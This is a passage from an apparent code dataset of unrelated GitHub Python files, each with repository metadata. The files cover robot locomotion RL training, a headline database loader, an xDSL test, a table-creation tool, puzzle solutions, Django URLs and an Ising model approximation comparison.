parameters=parameters)\n","repo_name":"ehbasouri/pm4py-test","sub_path":"proc/pm4py-source/pm4py/evaluation/replay_fitness/factory.py","file_name":"factory.py","file_ext":"py","file_size_in_byte":2503,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"27744580071","text":"from statistics import geometric_mean\nfrom ruamel.yaml import YAML, dump, RoundTripDumper\nfrom raisimGymTorch.env.bin import rsg_a1_task\nfrom raisimGymTorch.env.RaisimGymVecEnv import RaisimGymVecEnv as VecEnv\nfrom raisimGymTorch.helper.raisim_gym_helper import ConfigurationSaver\nimport os\nimport math\nimport time\nimport raisimGymTorch.algo.ppo.module as ppo_module\nimport raisimGymTorch.algo.ppo.ppo as PPO\nimport torch.nn as nn\nimport numpy as np\nimport torch\nimport datetime\nimport argparse\ntry:\n    import wandb\nexcept:\n    wandb = None\n\nparser = argparse.ArgumentParser()\nparser.add_argument(\"--exptid\", type = int, help='experiment id to prepend to the run')\nparser.add_argument(\"--overwrite\", action = 'store_true')\nparser.add_argument(\"--debug\", action = 'store_true')\nparser.add_argument(\"--loadid\", type = int, default = None)\nparser.add_argument(\"--gpu\", type = int, default = 1)\nparser.add_argument(\"--name\", type = str)\nargs = parser.parse_args()\n\n# directories\ntask_path = os.path.dirname(os.path.realpath(__file__))\nhome_path = task_path + \"/../../../../..\"\n\n# config\ncfg = YAML().load(open(task_path + \"/cfg.yaml\", 'r'))\n\nrng_seed = cfg['seed']\ntorch.manual_seed(rng_seed)\nnp.random.seed(rng_seed)\n\nactivation_fn_map = {'none': None, 'tanh': nn.Tanh}\noutput_activation_fn = activation_fn_map[cfg['architecture']['activation']]\nsmall_init_flag = cfg['architecture']['small_init']\n\nif args.debug:\n    cfg['environment']['num_envs'] = 1\n    cfg['environment']['num_threads'] = 1\n    device_type = 'cpu'\nelse:\n    device_type = 'cuda:{}'.format(args.gpu)\n\ncfg['environment']['test'] = False\ncfg['environment']['speedTest'] = False\n\nbaseDim = cfg['environment']['baseDim']\npriv_info = cfg['environment']['privinfo']\nuse_fourier = 'fourier' in cfg['environment'] and cfg['environment']['fourier']\ngeomDim = int(cfg['environment']['geomDim'])*int(cfg['environment']['use_slope_dots'])\nn_futures = int(cfg['environment']['n_futures'])\n\n# create environment from the configuration file\nenv = VecEnv(rsg_a1_task.RaisimGymEnv(home_path + \"/rsc\", dump(cfg['environment'], Dumper=RoundTripDumper)), cfg['environment'])\n\n# shortcuts\nob_dim = env.num_obs\nact_dim = env.num_acts\n\nif use_fourier:\n    privy_dim = ob_dim - baseDim\n    encoder_dim = cfg['environment']['encoder_dim']\n    regular_fourier_dim = cfg['environment']['regular_fourier_dim']\n    privy_fourier_dim = cfg['environment']['privy_fourier_dim']\n    fourier_scale = cfg['environment']['fourier_scale']\n    fourier_trainable = cfg['environment']['fourier_trainable']\n\n    fourier_policy = cfg['environment']['fourier_policy']\n    fourier_value = cfg['environment']['fourier_value']\n\n# save the configuration and other files\nsaver = ConfigurationSaver(log_dir=home_path + \"/raisimGymTorch/data/rsg_a1_task/\" + '{:04d}'.format(args.exptid),\n                           save_items=[task_path + \"/Environment.hpp\", task_path + \"/runner.py\"], config = cfg, overwrite = args.overwrite)\nif wandb:\n    wandb.init(project='command_loco', config=dict(cfg), name=args.name)\n    wandb.save(home_path + '/raisimGymTorch/env/envs/rsg_a1_task/Environment.hpp')\n\n# Training\nn_steps = math.floor(cfg['environment']['max_time'] / cfg['environment']['control_dt'])\ntotal_steps = n_steps * env.num_envs\n\nif cfg['environment']['unnormalize_speed_vec']:\n    raise NotImplementedError()\n\nspeed_vec_start_idx = cfg['architecture']['speed_vec_start_idx']\nspeed_vec_end_idx = cfg['architecture']['speed_vec_end_idx']\nlayer_type = cfg['architecture']['layer_type']\nfreeze_encoder = cfg['architecture']['freeze_encoder']\n\navg_rewards = []\n\nif use_fourier:\n    raise Exception('not implemented')\nelse:\n    if priv_info:\n        if layer_type == 'feedforward':\n            init_var = 0.3\n            module_type = ppo_module.MLPEncode_wrap\n            actor = ppo_module.Actor(module_type(cfg['architecture']['policy_net'],\n                                     nn.LeakyReLU,\n                                     ob_dim//2,\n                                     act_dim,\n                                     output_activation_fn,\n                                     small_init_flag,\n                                     base_obdim = baseDim,\n                                     geom_dim = geomDim,\n                                     n_futures = n_futures),\n                                     ppo_module.MultivariateGaussianDiagonalCovariance(act_dim, init_var),\n                                     device_type)\n\n            critic = ppo_module.Critic(module_type(cfg['architecture']['value_net'],\n                                                    nn.LeakyReLU,\n                                                    ob_dim//2,\n                                                    1,\n                                                    base_obdim = baseDim,\n                                                    geom_dim = geomDim,\n                                                    n_futures = n_futures),\n                                    device_type)\n        else:\n            raise NotImplementedError()\n\n    else:\n        raise NotImplementedError()\n\n# Steps + flat policy\nflat_policy_load_path = os.path.join(task_path,\"../../../../data/base_policy/policy_22000.pt\")\nenv.load_scaling(os.path.join(task_path, \"../../../../data/base_policy\"),\n                 22000, policy_type=0, num_g1=n_futures)\nloaded_graph_flat = torch.jit.load(flat_policy_load_path, map_location=torch.device(device_type))\nflat_expert = ppo_module.Steps_Expert(loaded_graph_flat, device=device_type, baseDim=42,\n                                      geomDim=2, n_futures=1, num_g1=n_futures)\n# Encoders loading from blind stairs policy\ncheckpoint = torch.load(os.path.join(task_path,\"../../../../data/base_policy/full_22000.pt\"))\nblind_policy_state_dict = checkpoint['actor_architecture_state_dict']\nown_state = actor.architecture.state_dict()\nfor name, param in blind_policy_state_dict.items():\n    own_state[name].copy_(param)\nenv.load_scaling(os.path.join(task_path, \"../../../../data/base_policy\"),\n                 22000, policy_type=2, num_g1=n_futures)\n\n\nppo = PPO.PPO(actor=actor,\n              critic=critic,\n              num_envs=cfg['environment']['num_envs'],\n              num_transitions_per_env=n_steps,\n              num_learning_epochs=4,\n              gamma=0.997,\n              lam=0.95,\n              num_mini_batches=4,\n              device=device_type,\n              log_dir=saver.data_dir,\n              mini_batch_sampling='in_order',\n              learning_rate=5e-4,\n              flat_expert=flat_expert\n              )\n\nif wandb:\n    wandb.watch(actor.architecture.architecture, log_freq=100)\n    wandb.watch(critic.architecture.architecture, log_freq=100)\n\npenalty_scale = np.array([cfg['environment']['lateralVelRewardCoeff'], cfg['environment']['angularVelRewardCoeff'], cfg['environment']['deltaTorqueRewardCoeff'], cfg['environment']['actionRewardCoeff'], cfg['environment']['sidewaysRewardCoeff'], cfg['environment']['jointSpeedRewardCoeff'], cfg['environment']['deltaContactRewardCoeff'], cfg['environment']['deltaReleaseRewardCoeff'], cfg['environment']['footSlipRewardCoeff'], cfg['environment']['upwardRewardCoeff'], cfg['environment']['workRewardCoeff'], cfg['environment']['yAccRewardCoeff'], 1., 1., 1.])\n\nif args.loadid is not None:\n    checkpoint = torch.load(saver.data_dir+\"/full_\"+str(args.loadid)+'.pt')\n    actor.architecture.load_state_dict(checkpoint['actor_architecture_state_dict'])\n    actor.distribution.load_state_dict(checkpoint['actor_distribution_state_dict'])\n    critic.architecture.load_state_dict(checkpoint['critic_architecture_state_dict'])\n    try:\n        ppo.optimizer.load_state_dict(checkpoint['optimizer_state_dict'])\n    except:\n        print(\"Not loading ppo state\")\n    env.load_scaling(saver.data_dir, args.loadid, policy_type=1) \n\nif freeze_encoder:\n    # do not update some networks\n    print(\"Freezing the encoders!\")\n    for net_i in [actor.architecture.architecture.geom_encoder,\n                  actor.architecture.architecture.prop_encoder]:\n        for param in net_i.parameters():\n            param.requires_grad = False\n\nif args.loadid is not None:\n    env.set_itr_number(args.loadid)\n\n\n# This coefficient controls how much the policy is optimized with RL. Change to 1 for taking away demonstrations from a previous policy.\nrl_coeff = 0.3\nppo.update_rl_coeff(rl_coeff)\n\n\nfor update in range(500001) if args.loadid is None else range(args.loadid + 1, 500001):\n    start = time.time()\n    env.reset()\n    reward_ll_sum = 0\n    forwardX_sum = 0\n    penalty_sum = 0\n    done_sum = 0\n    average_dones = 0.\n\n    if update %  cfg['environment']['eval_every_n'] == 0:\n        print(\"Visualizing and evaluating the current policy\")\n        actor.save_deterministic_graph(saver.data_dir+\"/policy_\"+str(update)+'.pt', torch.rand(1, ob_dim).cpu())\n        if update %  (1 * cfg['environment']['eval_every_n']) == 0:\n            torch.save({\n                'actor_architecture_state_dict': actor.architecture.state_dict(),\n                'actor_distribution_state_dict': actor.distribution.state_dict(),\n                'critic_architecture_state_dict': critic.architecture.state_dict(),\n                'optimizer_state_dict': ppo.optimizer.state_dict(),\n            }, saver.data_dir+\"/full_\"+str(update)+'.pt')\n\n        parameters = np.zeros([0], dtype=np.float32)\n        for param in actor.deterministic_parameters():\n            parameters = np.concatenate([parameters, param.cpu().detach().numpy().flatten()], axis=0)\n        np.savetxt(saver.data_dir+\"/policy_\"+str(update)+'.txt', parameters)\n        loaded_graph = torch.jit.load(saver.data_dir+\"/policy_\"+str(update)+'.pt')\n\n        env.reset()\n        env.save_scaling(saver.data_dir, str(update))\n\n    # actual training\n    for step in range(n_steps):\n        obs = env.observe(not freeze_encoder)\n        action = ppo.observe(obs)\n        reward, dones = env.step(action)\n        unscaled_reward_info = env.get_reward_info()\n        forwardX = unscaled_reward_info[:, 0]\n        penalty = unscaled_reward_info[:, 1:]\n        ppo.step(value_obs=obs, rews=reward, dones=dones, infos=[])\n        done_sum = done_sum + sum(dones)\n        reward_ll_sum = reward_ll_sum + sum(reward)\n        forwardX_sum += np.sum(forwardX)\n        penalty_sum += np.sum(penalty, axis=0)\n\n    env.curriculum_callback()\n\n    # take st step to get value obs\n    obs = env.observe(not freeze_encoder)\n    ppo.update(actor_obs=obs,\n               value_obs=obs,\n               log_this_iteration=update % 10 == 0,\n               update=update)\n    \n    end = time.time()\n    \n    forwardX = forwardX_sum / total_steps\n    forwardXReward = forwardX_sum * cfg['environment']['forwardVelRewardCoeff'] / total_steps\n\n    forwardY, forwardZ, deltaTorque, action, sideways, jointSpeed, deltaContact, deltaRelease, footSlip, upward, work, yAcc, torqueSquare, stepHeight, walkedDist = penalty_sum / total_steps\n    forwardYReward, forwardZReward, deltaTorqueReward, actionReward, sidewaysReward, jointSpeedReward, deltaContactReward, deltaReleaseReward, footSlipReward, upwardReward, workReward, yAccReward, torq, stepHeight, walkedDist = scaled_penalty = penalty_sum * penalty_scale / total_steps\n\n    average_ll_performance = reward_ll_sum / total_steps\n    average_dones = done_sum / total_steps\n    avg_rewards.append(average_ll_performance)\n\n    actor.distribution.enforce_minimum_std((torch.ones(12)*0.2).to(device_type))\n    if wandb:\n        wandb.log({'forwardX': forwardX, \n        'forwardX_reward': forwardXReward, \n        'forwardY': forwardY, \n        'forwardY_reward': forwardYReward, \n        'forwardZ': forwardZ, \n        'forwardZ_reward': forwardZReward, \n        'deltaTorque': deltaTorque, \n        'deltaTorque_reward': deltaTorqueReward, \n        'action': action, \n        'stepHeight': stepHeight,\n        'action_reward': actionReward, \n        'sideways': sideways, \n        'sideways_reward': sidewaysReward, \n        'jointSpeed': jointSpeed, \n        'jointSpeed_reward': jointSpeedReward, \n        'deltaContact': deltaContact, \n        'deltaContact_reward': deltaContactReward, \n        'deltaRelease': deltaRelease, \n        'deltaRelease_reward': deltaReleaseReward, \n        'footSlip': footSlip, \n        'footSlip_reward': footSlipReward, \n        'upward': upward, \n        'upward_reward': upwardReward, \n        'work': work, \n        'work_reward': workReward, \n        'yAcc': yAcc, \n        'yAcc_reward': yAccReward,\n        'torqueSquare': torqueSquare,\n        'dones': average_dones,\n        'walkedDist': walkedDist})\n\n    print('----------------------------------------------------')\n    print('{:>6}th iteration'.format(update))\n    print('{:<40} {:>6}'.format(\"average ll reward: \", '{:0.10f}'.format(average_ll_performance)))\n    print('{:<40} {:>6}'.format(\"average forward reward: \", '{:0.10f}'.format(forwardXReward)))\n    print('{:<40} {:>6}'.format(\"average penalty reward: \", ', '.join(['{:0.4f}'.format(r) for r in scaled_penalty])))\n    print('{:<40} {:>6}'.format(\"average walked dist: \", '{:0.10f}'.format(scaled_penalty[-1])))\n    print('{:<40} {:>6}'.format(\"dones: \", '{:0.6f}'.format(average_dones)))\n    print('{:<40} {:>6}'.format(\"lr: \", '{:.4e}'.format(ppo.optimizer.param_groups[0][\"lr\"])))\n    print('{:<40} {:>6}'.format(\"time elapsed in this iteration: \", '{:6.4f}'.format(end - start)))\n    print('{:<40} {:>6}'.format(\"fps: \", '{:6.0f}'.format(total_steps / (end - start))))\n    print('std: ')\n    print(np.exp(actor.distribution.std.cpu().detach().numpy()))\n    print('----------------------------------------------------\\n')\n","repo_name":"antonilo/rl_locomotion","sub_path":"raisimGymTorch/env/envs/rsg_a1_task/runner.py","file_name":"runner.py","file_ext":"py","file_size_in_byte":13631,"program_lang":"python","lang":"en","doc_type":"code","stars":69,"dataset":"github-code","pt":"35"}
{"seq_id":"71796461221","text":"#%%\r\nfrom sqlalchemy import create_engine\r\nfrom sqlalchemy.ext.declarative import declarative_base\r\nfrom sqlalchemy import Column, String, Date, Integer\r\nfrom sqlalchemy.orm import sessionmaker\r\nfrom tqdm import tqdm\r\nimport csv\r\nfrom datetime import datetime as dt\r\n\r\n#%%\r\nengine = create_engine('postgresql+psycopg2://jon:postgres@localhost/headlines')\r\nconn = engine.connect()\r\nBase = declarative_base()\r\n\r\n#%%\r\n\r\nyear = '2008'\r\n\r\nclass Headline(Base):\r\n    __tablename__ = f'headlines_{year}'\r\n\r\n    id = Column(Integer, primary_key = True)\r\n    date = Column(Date)\r\n    headline = Column(String(255))\r\n\r\nSession = sessionmaker(bind=engine)\r\nsession = Session()\r\nBase.metadata.create_all(conn) \r\n\r\n#%%\r\nfilepath = f'resources/reuters-newswire-{year}.v5.csv'\r\n\r\nnum_lines = sum(1 for line in open(filepath,'r'))\r\n\r\nwith open(filepath, newline = '', encoding='iso_8859_1') as csvfile:\r\n    reader = csv.reader(csvfile, delimiter=',')\r\n    id_ = 1\r\n    i = 1\r\n\r\n    headers = next(reader, None)\r\n    for row in tqdm(reader, total = num_lines):\r\n        if i % 100 == 0:\r\n            i = 0\r\n            session.commit()\r\n        \r\n        session.add(Headline\r\n            (\r\n                id = id_, \r\n                date = dt.strptime(row[0], '%Y%m%d%H%M'), \r\n                headline = row[1])\r\n            )\r\n        i += 1\r\n        id_ += 1\r\n\r\n#%%\r\n","repo_name":"Axemen/headlines","sub_path":"workbooks/sqlite_creation.py","file_name":"sqlite_creation.py","file_ext":"py","file_size_in_byte":1356,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"15832089836","text":"import pytest\n\nfrom xdsl.ir import MLContext, Operation\nfrom xdsl.parser import XDSLParser\nfrom xdsl.dialects.builtin import Builtin\nfrom xdsl.dialects.func import Func\nfrom xdsl.dialects.arith import Arith\nfrom xdsl.dialects.cf import Cf\nfrom xdsl.rewriting.composable_rewriting.immutable_ir.immutable_ir import get_immutable_copy\n\nprogram_region = \\\n\"\"\"builtin.module() {\n  %0 : !i32 = arith.constant() [\"value\" = 1 : !i32]\n}\n\"\"\"\nprogram_region_2 = \\\n\"\"\"builtin.module() {\n  %0 : !i32 = arith.constant() [\"value\" = 2 : !i32]\n}\n\"\"\"\nprogram_region_2_diff_name = \\\n\"\"\"builtin.module() {\n  %cst : !i32 = arith.constant() [\"value\" = 2 : !i32]\n}\n\"\"\"\nprogram_region_2_diff_type = \\\n\"\"\"builtin.module() {\n  %0 : !i64 = arith.constant() [\"value\" = 2 : !i64]\n}\n\"\"\"\nprogram_add = \\\n\"\"\"builtin.module() {\n%0 : !i32 = arith.constant() [\"value\" = 1 : !i32]\n%1 : !i32 = arith.constant() [\"value\" = 2 : !i32]\n%2 : !i32 = arith.addi(%0 : !i32, %1 : !i32)\n}\n\"\"\"\nprogram_add_2 = \\\n\"\"\"builtin.module() {\n%0 : !i32 = arith.constant() [\"value\" = 1 : !i32]\n%1 : !i32 = arith.constant() [\"value\" = 2 : !i32]\n%2 : !i32 = arith.addi(%1 : !i32, %0 : !i32)\n}\n\"\"\"\nprogram_func = \\\n\"\"\"builtin.module() {\n  func.func() [\"sym_name\" = \"test\", \"type\" = !fun<[!i32, !i32], [!i32]>, \"sym_visibility\" = \"private\"] {\n  ^0(%0 : !i32, %1 : !i32):\n    %2 : !i32 = arith.addi(%0 : !i32, %1 : !i32)\n    func.return(%2 : !i32)\n  }\n}\n\"\"\"\nprogram_successors = \\\n\"\"\"builtin.module() {\n    func.func() [\"sym_name\" = \"unconditional_br\", \"function_type\" = !fun<[], []>, \"sym_visibility\" = \"private\"] {\n    ^0:\n        cf.br() (^1)\n    ^1:\n        cf.br() (^0)\n    }\n}\n\"\"\"\n\n\n@pytest.mark.parametrize(\"program_str\", [(program_region), (program_region_2),\n                                         (program_region_2_diff_type),\n                                         (program_region_2_diff_name),\n                                         (program_add), (program_add_2),\n                                         (program_func), (program_successors)])\ndef test_immutable_ir(program_str: str):\n    ctx = MLContext()\n    ctx.register_dialect(Builtin)\n    ctx.register_dialect(Func)\n    ctx.register_dialect(Arith)\n    ctx.register_dialect(Cf)\n\n    parser = XDSLParser(ctx, program_str)\n    program: Operation = parser.parse_op()\n    immutable_program = get_immutable_copy(program)\n    mutable_program = immutable_program.to_mutable()\n\n    assert program.is_structurally_equivalent(mutable_program)\n","repo_name":"ed741/xdsl","sub_path":"tests/rewriting/composable_rewriting/immutable_ir/test_immutable_ir.py","file_name":"test_immutable_ir.py","file_ext":"py","file_size_in_byte":2444,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"35"}
{"seq_id":"41417355142","text":"from ConDB import ConDB, CDTable\nimport sys, getopt\n\nUsage = \"\"\"\npython create_table.py [options] <database name> <table_name> <column>:<type> [...]\noptions:\n    -h <host>\n    -p <port>\n    -U <user>\n    -w <password>\n    \n    -c - force create, drop existing table\n    -s - just print SQL needed to create the table without actually creating anything\n    -o <table owner>\n    -R <user>,... - DB users to grant read permissions to\n    -W <user>,... - DB users to grant write permissions to\n\"\"\"\n\nopts, args = getopt.getopt(sys.argv[1:], 'h:U:w:p:co:R:W:s')\n\nif len(args) < 3 or args[0] == 'help':\n    print(Usage)\n    sys.exit(0)\n\n\nopts = dict(opts)\ndbcon = []\nif \"-h\" in opts:        dbcon.append(\"host=%s\" % (opts[\"-h\"],))\nif \"-p\" in opts:        dbcon.append(\"port=%s\" % (int(opts[\"-p\"]),))\nif \"-U\" in opts:        dbcon.append(\"user=%s\" % (opts[\"-U\"],))\nif \"-w\" in opts:        dbcon.append(\"password=%s\" % (opts[\"-w\"],))\ndrop_existing = \"-c\" in opts\ngrants_r = []\ngrants_w = []\nif \"-R\" in opts:    grants_r = opts[\"-R\"].split(',')\nif \"-W\" in opts:    grants_w = opts[\"-W\"].split(',')\nowner = opts.get(\"-o\")\nsql_only = \"-s\" in opts\n\ndbcon.append(\"dbname=%s\" % (args[0],))\n\ndbcon = ' '.join(dbcon)\n\ntname = args[1]\n\nctypes = []\nfor w in args[2:]:\n    n,t = tuple(w.split(':',1))\n    ctypes.append((n,t))\n\nif sql_only:\n    sql = CDTable.createSQL(tname, owner, ctypes, grants_r, grants_w)\n    print(sql)\nelse:\n    db = ConDB(dbcon)\n    t = db.createTable(tname, ctypes, owner, \n        {'r':grants_r, 'w':grants_w}, \n        drop_existing)\n    print('Table created')\n\n","repo_name":"ivmfnal/condb2","sub_path":"tools/create_table.py","file_name":"create_table.py","file_ext":"py","file_size_in_byte":1569,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"73213019939","text":"with open(\"./input.txt\") as fd:\n    l = fd.readlines()\nlen (l)\nl\nmap(l, int)\nmap(l, lambda x: int(x))\nll=[int(x) for x in l]\nll\nlen(ll)\nlls = set(ll)\nfor x in lls:\n    if 2020-x in lls:\n        print(x, 2020-x)\n1611*409\nmin(ll)\nduplo=set()\nfor x in ll:\n    for y in ll:\n        if x!=y and x+y<2020-132:\n            duplo[x+y]=(x, y)\nduplo={}\nfor x in ll:\n    for y in ll:\n        if x!=y and x+y<2020-132:\n            duplo[x+y]=(x, y)\nlen(duplo)\nfor x in ll:\n    if 2020-x in duplo:\n        print(x, duplo[2020-x])\nfor x in ll:\n    if 2020-x in duplo:\n        print(x, duplo[2020-x])\n        print(x*duplo[2020-x][0]*duplo[2020-x][1])\n","repo_name":"babo/aoc","sub_path":"2020/d01/p.py","file_name":"p.py","file_ext":"py","file_size_in_byte":637,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"976346939","text":"# -*- coding: utf-8 -*-\n\nfrom Layer import Layer\nfrom vmapper import geometry as geom\n\ndef process_polylines(layername, geoms, indexes, labels=None, colors=None, opacitys=None, edgecolors=None, edgewidths=None, radiuses=None, showlabel=False, animate_times=None):\n    alayer = Layer(layername=layername)\n    geoms2 = geoms.tolist()\n    for i in range(len(geoms2)):\n        g = geoms2[i]\n        idd = indexes[i]\n        lab,fc,fo,ec,ew = None,None,None,None,None\n        if not(labels is None):\n            lab = labels[i]\n        if not(edgecolors is None):\n            ec = edgecolors[i]\n        if not(edgewidths is None):\n            ew = edgewidths[i]\n        line = list(g.coords)\n        alayer.addtoLayer(geom.MultiPolyline(vertexes=line, layer=layername, index=idd, label=lab, strokecolor=ec, strokewidth=ew, showlabel=showlabel, animate_times=animate_times))\n    return alayer\n","repo_name":"wcchin/vmapper","sub_path":"vmapper/utils/process_polylines.py","file_name":"process_polylines.py","file_ext":"py","file_size_in_byte":887,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"23404184285","text":"from django.conf.urls import patterns, url\n\nurlpatterns = patterns(\n    \"cvmo.cluster.views\",\n    # Views\n    url(r\"^new$\", \"show_new\", name=\"cluster_new\"),\n    url(r\"^clone/(?P<cluster_id>[0-9]+)$\", \"show_new\", name=\"cluster_new\"),\n    url(r\"^test$\", \"show_test\"),\n    # url(r\"^edit/(?P<cluster_id>[0-9]+)$\", \"show_edit\", name=\"cluster_edit\"),\n    url(r\"^deploy/(?P<cluster_id>[0-9]+)$\", \"show_deploy\", name=\"cluster_deploy\"),\n\n    # Actions\n    url(r\"^save$\", \"save\", name=\"cluster_save\"),\n    url(r\"^delete/(?P<cluster_id>[0-9]+)$\", \"delete\", name=\"cluster_delete\"),\n)\n","repo_name":"cernvm/cernvm-online","sub_path":"src/cvmo/cluster/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":572,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"9319118444","text":"class Solution:\n    # @return a string\n    def convert(self, s, nRows):\n\n        if s==None or nRows<=0: return None\n\n        if len(s)==0 or nRows==1: return s\n\n        rows = [\"\"] * nRows\n        i = 0\n        step = 1\n        for c in s:\n            rows[i] += c\n            if i==0: step = 1\n            if i==nRows-1: step = -1\n            i += step\n\n        result = \"\"\n        for row in rows:\n            result += row\n\n        return result\n","repo_name":"simpleliangsl/leetcode-exercise","sub_path":"zigzag-conversion.py","file_name":"zigzag-conversion.py","file_ext":"py","file_size_in_byte":450,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"38920962389","text":"#add 1+2+3+ ... 100 WITHOUT using the formula n(n+1)/2\n\nsum = 0\nn = int(input(\"Enter a number: \"))\n\nfor i in range(n+1):\n\tsum = sum + i\n\tprint(sum)\n\nprint(\"The sum is\", sum)","repo_name":"kshhhv/P342-Computational-Lab","sub_path":"Assignment 1/Q1.py","file_name":"Q1.py","file_ext":"py","file_size_in_byte":173,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"33336608553","text":"#######################################################\n# This simulation analyzes performance of the mean field approximation\n# versus the k approximation for at large times for various values\n# of kappa (degree of the tree) and beta for the Ising model. \n# These two approximations are compared to MC sampled dynamics, and\n# accuracy is measured by:\n# the total variation distance between the joints of the root node\n# and one of its neighbors, as well as the distributions of the root, \n# joint distributions with more neighbors, and trajectories as well.\n#\n# This comparison in particular analyzes the 2Approx near the critical regime.\n#######################################################\n\nimport os \nimport sys\nsys.path.append(\"../SimulateProcesses/\")\nsys.path.append(\"../SimulateProcesses/Ising\")\nfrom mpl_toolkits.axes_grid1 import make_axes_locatable\n\nimport IsingMonitor as monitor\n\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport ast\nimport numpy as np\n\nif __name__== \"__main__\":\n\n\t#np.random.seed(17)\n\t## at stationarity, which method works better?\n\n\tp = 0.9 #update parameter\n\tbias = -0.2\n\tp_0 = (1+bias)/2\n\n\t## intake what parameters to run/ analyze\n\n\tkappa_params = [2,3,4,5,6,7,8]\n\tbeta_params = np.array(np.linspace(0,2,11))\n\tkb_params = np.array([[6,0.2],\n\t\t\t\t\t\t [6,0.4],\n\t\t\t\t\t\t [5,0.4],\n\t\t\t\t\t\t [4,0.4],\n\t\t\t\t\t\t [4, 0.6000000000000001],\n\t\t\t\t\t\t [4,0.8],\n\t\t\t\t\t\t [3, 0.6000000000000001],\n\t\t\t\t\t\t [3,0.8],\n\t\t\t\t\t\t [3,1.0],\n\t\t\t\t\t\t [3,1.2000000000000002],\n\t\t\t\t\t\t [3,1.4000000000000001],\n\t\t\t\t\t\t [3,1.6],\n\t\t\t\t\t\t [3,1.8],\n\t\t\t\t\t\t [3,2.0]])\n\tk = 2\n\tdepth = 8\n\n\t# ideally want this to be larger\n\tT = 50\n\n\t### Collect Data\n\t# use Pandas, want multidimensional index; \n\t# columns should be dynamics; mean field; k-approximation,various vals of k.\n\n\t# save the dataframes\n\tdef get_df_string(s):\n\t\tf = \"IsingModelResults/{}_T{}_maxkappa{}_maxbeta{}_bias{}\".format(s,T,\n\t\t\t\t8, 2.0, -0.2)\n\t\treturn f\n\t\n\tjoint_prob_df = pd.read_pickle(get_df_string(\"mf_local_comparison\"))\n\n\tdef str_to_dict(str):\n\t\td = ast.literal_eval(str)\n\t\treturn d\n\n\t# compute the distances\n\ttotal_variations_kapprox = np.zeros((len(kappa_params),len(beta_params)))\n\tfor i in range(len(kb_params)):\n\n\t\t# calculate dynamics\n\t\tidx = pd.IndexSlice\n\t\tprob_dynamics = np.array(list(str_to_dict(joint_prob_df.loc[idx[int(kb_params[i,0]),kb_params[i,1]],idx['dynamics']]).values()))\n\n\t\t# get the kapprox info\n\t\tfilename = \"IsingModelResults/kapprox/kapprox_kappa{}_p0.9_beta{:.1f}_T{}_k{}_bias{}.npy\".format(int(kb_params[i,0]),kb_params[i,1], T, k, bias)\n\n\t\tmeasure_history = np.load(filename)\n\n\t\tprocess = monitor.MonitorLocalApproximation(np.zeros((2,2,2)),p,kb_params[i,1])\n\t\tprocess.measure_history = measure_history\n\n\n\t\tjoint2_la = process.get_fixed_time_measure((0,1),T-1)\n\t\tprob_kapprox = joint2_la.reshape(1,4)\n\n\t\ttotal_variations_kapprox[int(kb_params[i,0]) - 2,int(kb_params[i,1]/0.2)] = np.sum(np.abs(prob_kapprox - prob_dynamics))\n\n\n\tdef visualize_total_var(array, title):\n\t\tfig, ax = plt.subplots(1,1, figsize = (10,10))\n\n\t\tcmap = matplotlib.cm.viridis\n\t\tnorm = plt.Normalize(0, 2)\n\n\t\tbetas = np.array(np.linspace(0,2,81))\n\t\tkappas = 2*np.exp(2*betas)/(np.exp(2* betas) - 1)\n\t\tax.plot(5.5*betas-0.5, kappas - 2, color = 'red', label = \"Critical Value\")\n\t\tim1 = ax.imshow(array[::-1,],cmap = cmap.reversed(), norm = norm, extent = [0 - 0.5,len(beta_params)-1 + 0.5,0 - 0.5,len(kappa_params)-1 + 0.5])\n\n\t\ttick_size = 6.5\n\n\t\tax.set_xlabel('Beta',fontsize = 10)\n\t\tax.set_xticks(np.arange(len(beta_params)))\n\t\tax.set_xticklabels(labels = [\"{:0.1f}\".format(beta) for beta in beta_params],fontsize = tick_size )\n\n\t\tax.set_ylabel('Kappa',fontsize = 10)\n\t\tax.set_yticks(np.arange(len(kappa_params)))\n\t\tax.set_yticklabels(labels = list(kappa_params),fontsize = tick_size )\n\t\t#ax.legend(loc='upper right', bbox_to_anchor=(0.15, 0.0))\n\n\t\tax.set_title(title)\n\n\t\tfor i in range(len(kappa_params)):\n\t\t\tfor j in range(len(beta_params)):\n\t\t\t\ttext = ax.text(j, i, \"{:0.2f}\".format(array[i, j]),\n\t\t\t\t\tha=\"center\", va=\"center\", color=\"w\")\n\n\n\n\t\tdivider1 = make_axes_locatable(ax)\n\t\tcax1 = divider1.append_axes('right', size='5%', pad=0.1)\n\t\tfig.colorbar(im1,cax1,orientation = 'vertical')\n\n\t\tplt.show()\n\n\tvisualize_total_var(total_variations_kapprox, \"Accuracy of 2-Approximation at Critical Region\")\n","repo_name":"tsudijon/LocalApproximation","sub_path":"ComparisonSimulation/2ApproxCriticalRegion.py","file_name":"2ApproxCriticalRegion.py","file_ext":"py","file_size_in_byte":4267,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
